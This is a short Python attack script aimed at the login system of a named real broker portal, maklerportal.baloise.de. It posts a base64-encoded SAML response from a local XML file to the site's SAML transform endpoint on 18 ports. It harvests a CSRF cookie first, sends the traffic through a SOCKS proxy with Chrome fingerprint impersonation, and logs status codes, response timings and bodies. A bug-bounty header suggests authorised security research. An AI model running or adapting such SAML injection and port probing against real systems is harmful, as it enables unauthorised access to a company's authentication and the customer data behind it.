from curl_cffi import requests
import time,json,base64
host='maklerportal.baloise.de'; proxy='socks5h://127.0.0.1:1090'
ports=[443,4401,7443,7980,8080,8343,8443,8580,8700,8701,8765,8800,8801,8888,8999,9000,9080,9443]
b64=base64.b64encode(open('work/scratch/next/01a1c48b-4665-7004-a34f-1207f93ecb7c.xml','rb').read()).decode(); data={'context':'Easylogin','SAMLResponse':b64}
for port in ports:
 base=f'https://{host}'+('' if port==443 else f':{port}')
 s=requests.Session(impersonate='chrome',proxy=proxy); h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
 try:
  t=time.perf_counter(); a=s.get(base+'/auth/',headers=h,timeout=15,allow_redirects=False,toadex_capture=False); t1=(time.perf_counter()-t)*1000
  csrf=s.cookies.get('CSRFT759-S',domain='.baloise.de') or s.cookies.get('CSRFT759-S')
  h.update({'X-Same-Domain':'1','X-CSRFT759':csrf or 'none','Content-Type':'application/x-www-form-urlencoded','Accept':'application/json, application/vnd.api+json'})
  t=time.perf_counter(); r=s.post(base+'/auth/rest/public/baloise/saml2/transform',headers=h,data=data,timeout=15,allow_redirects=False,toadex_capture=False); dt=(time.perf_counter()-t)*1000
  print(json.dumps({'port':port,'init':a.status_code,'init_ms':round(t1,1),'csrf':bool(csrf),'status':r.status_code,'ms':round(dt,1),'size':len(r.content),'loc':r.headers.get('location'),'body':r.text[:80]}))
 except Exception as e: print(json.dumps({'port':port,'error':str(e)}))
